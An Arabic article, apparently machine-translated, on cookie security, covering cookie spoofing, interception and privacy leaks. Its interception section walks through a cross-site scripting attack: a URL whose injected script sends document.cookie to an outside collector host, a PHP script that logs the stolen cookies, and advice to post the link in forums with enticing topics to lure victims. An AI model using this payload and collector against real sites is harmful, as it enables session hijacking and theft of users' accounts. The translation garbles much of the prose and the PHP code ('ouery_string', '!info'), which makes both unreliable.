تحليل متعمق لقضايا أمان ملفات تعريف الارتباط

الغرض من ملفات تعريف الارتباط هو جلب الراحة للمستخدمين وإضافة قيمة إلى موقع الويب ، ولا يشكل عمومًا تهديدًا أمانًا خطيرًا. لا يمكن تنفيذ ملف ملفات تعريف الارتباط كرمز ، ولا ينقل الفيروسات ، فهو مملوك للمستخدم ولا يمكن قراءته إلا بواسطة الخادم الذي أنشأه. بالإضافة إلى ذلك ، تسمح المتصفحات عمومًا فقط بتخزين 300 ملف تعريف ارتباط ، ويقوم كل موقع بتخزين ما يصل إلى 20 ملف تعريف ارتباط ، ويقتصر حجم كل ملف تعريف ارتباط على 4 كيلو بايت. لذلك ، لن تملأ ملفات تعريف الارتباط القرص الصلب ولن يتم استخدامها كطريقة هجوم "رفض الخدمة".

ومع ذلك ، كبديل لهوية المستخدم ، يحدد أمانه أحيانًا أمان النظام بأكمله ، ولا يمكن تجاهل أمان ملفات تعريف الارتباط.

(1) ملفات تعريف الارتباط لملفات تعريف الارتباط تسجيل معلومات مثل معرف حساب المستخدم وكلمة المرور وما إلى ذلك ، وعادة ما يتم تشفيرها باستخدام طريقة MD5 وتم تمريرها على الإنترنت. لا يمكن فهم المعلومات المشفرة حتى لو تم اعتراضها من قبل بعض الأشخاص ذوي الدوافع الخفية على الإنترنت. ومع ذلك ، فإن المشكلة الآن هي أن الأشخاص الذين يعترضون ملفات تعريف الارتباط لا يحتاجون إلى معرفة معنى هذه الأوتار. طالما أن شخصًا ما يقدم ملفات تعريف الارتباط الخاصة بالأشخاص الآخرين إلى الخادم ويمكنهم تمرير التحقق ، فيمكنهم تسجيل الدخول إلى موقع الويب كضحية. هذا السلوك يسمى ملف تعريف الارتباط الخداع.

يحصل المستخدمون غير الشرعيين على مفاتيح التشفير المقابلة من خلال ملفات تعريف الارتباط ، وبالتالي الوصول إلى جميع المعلومات المخصصة للمستخدمين الشرعيين ، بما في ذلك البريد الإلكتروني للمستخدم وحتى معلومات الحساب ، مما يسبب ضررًا خطيرًا للمعلومات الشخصية.

(2) اعتراض ملفات تعريف الارتباط

يتم إرسال ملفات تعريف الارتباط بين المتصفح والخادم في نص عادي ، ويتم اعتراضها بسهولة واستغلالها من قبل الآخرين. يمكن قراءة ملفات تعريف الارتباط من قبل أي شخص يمكنه اعتراض الاتصالات على شبكة الإنترنت.

بعد اعتراض ملف تعريف الارتباط من قبل مستخدم غير قانوني ثم إعادة تشغيل خلال الفترة الصالحة ، سيستمتع المستخدم غير القانوني بحقوق المستخدم القانوني ومصالحه. على سبيل المثال ، للقراءة عبر الإنترنت ، يمكن للمستخدمين غير الشرعيين الاستمتاع بالقراءة عبر الإنترنت للمجلات الإلكترونية دون دفع رسوم.

هناك بعض الطرق لاعتراض ملفات تعريف الارتباط :

(1) استخدام طرق البرمجة لاعتراض ملفات تعريف الارتباط. ما يلي هو تحليل طريقته ، والتي اكتملت في خطوتين.

الخطوة 1: ضع موقع الويب الذي يحتاج إلى جمع ملفات تعريف الارتباط وتحليلها وبناء عناوين URL. أولاً ، افتح موقع الويب لجمع ملفات تعريف الارتباط. هنا ، افترض أنه http://www.xxx.net ، قم بتسجيل الدخول إلى موقع الويب وأدخل اسم المستخدم "<L>" (باستثناء عروض الأسعار) ، وتحليل البيانات والاستيلاء على الحزمة ، والحصول على الرمز التالي:

http://www.xxx.net/txl/login/login.pl؟ username = <al> & passwd = & ok.x = 28 & ok.y = 6 ؛

استبدل "<al>" بـ:

"<script> Alert (document.cookie) </script>" حاول مرة أخرى ، وإذا كان التنفيذ ناجحًا ، فابدأ في بناء عنوان URL:

http://www.xxx.net/txl/login/login.pl؟ username = <script> window.open ("http://www.cbifamily.org/cbi.php؟"٪2bdocument.cookie) </script>&passwd=&ok.x=28&ok.y=6.

من بينها ، http://www.cbifamily.org/cbi.php هو برنامج نصي على مضيف يمكن للمستخدم التحكم فيه. تجدر الإشارة إلى أن "٪ 2b" هو ترميز عنوان URL للرمز "+" ، لأنه سيتم معالجة "+" كمساحة. يمكن نشر عنوان URL هذا في المنتدى لحث الآخرين على النقر.

الخطوة 2: قم بإعداد برنامج نصي PHP لجمع ملفات تعريف الارتباط ووضعه على موقع ويب يمكن للمستخدم التحكم فيه. عندما ينقر الشخص المجهول على عنوان URL المصمم ، يمكن تنفيذ رمز PHP. المحتوى المحدد لهذا البرنامج النصي كما يلي:

نسخة الكود كما يلي:

<؟ PHP

$ info = getenv ("ouery_string") ؛

if ($ info) {

$ fp = fopen ("info.txt" ، "a") ؛

fwrite ($ fp ،! info. "/n") ؛

fclose ($ fp) ؛

｝

header ("الموقع: http: //www.xxx.net") ؛

؟>

يمكن وضع هذا الرمز على الشبكة جمع ملفات تعريف الارتباط للجميع. إذا سمح المنتدى برمز HTML أو علامات الفلاش ، فيمكنك استخدام هذه التقنيات لجمع ملفات تعريف الارتباط ووضعها في المنتدى ، ثم قدم المنشور موضوعًا جذابًا وكتابة محتوى مثير للاهتمام ، وجمع عدد كبير من ملفات تعريف الارتباط بسرعة. في المنتدى ، سُرقت كلمات مرور العديد من الأشخاص بهذه الطريقة.

(2) استخدم كود فلاش الخطر المخفي لاعتراض ملفات تعريف الارتباط. هناك وظيفة geturl () في فلاش. يمكن لـ Flash استخدام هذه الوظيفة لفتح صفحة ويب محددة تلقائيًا ، والتي قد تقود المستخدم إلى موقع ويب يحتوي على رمز ضار. على سبيل المثال ، عندما يستمتع أحد المستخدمين بالرسوم المتحركة على الكمبيوتر ، قد يكون الرمز الموجود في إطار الرسوم المتحركة متصلاً بهدوء بالإنترنت ويفتح صفحة صغيرة جدًا تحتوي على رمز خاص يمكنه جمع ملفات تعريف الارتباط والقيام بأشياء أخرى ضارة. لا يمكن لموقع الويب حظر هذا الإجراء من الفلاش لأنه وظيفة داخلية لملف الفلاش.

(3) خصوصية شبكة تسرب ملفات تعريف الارتباط

السبب الرئيسي الذي يجعل ملفات تعريف الارتباط تؤدي إلى تسرب الخصوصية عبر الإنترنت هو:! مدفوعًا بالمصالح التجارية. مع ظهور التجارة الإلكترونية وظهور فرص عمل ضخمة على الإنترنت ، فإن بعض مواقع الويب والمؤسسات تسيء استخدام ملفات تعريف الارتباط واستخدام تكنولوجيا محركات البحث ، وتكنولوجيا تعدين البيانات ، وحتى تقنية الخداع عبر الإنترنت لجمع المعلومات الشخصية للآخرين دون إذن من الزوار ، وذلك لتحقيق أغراض تحقيق الربح مثل بناء قواعد بيانات المستخدمين وإرسال الإعلانات ، مما يسبب تسربًا من المستخدمين الشخصي. "إن فتحة معلومات ملفات تعريف الارتباط. تحتوي ملفات ملفات تعريف الارتباط على عمليات توصيل خاصة وخصائص نصية. يتم إرسال ملفات ملفات تعريف الارتباط غير المشفرة بشكل آمن بين الخادم والعميل ، والتي يمكن أن تؤدي بسهولة إلى تسرب المعلومات الشخصية.

ما سبق كلها فهم شخصي لأمن ملفات تعريف الارتباط. إذا كان هناك أي إغفال ، يرجى تصحيحها.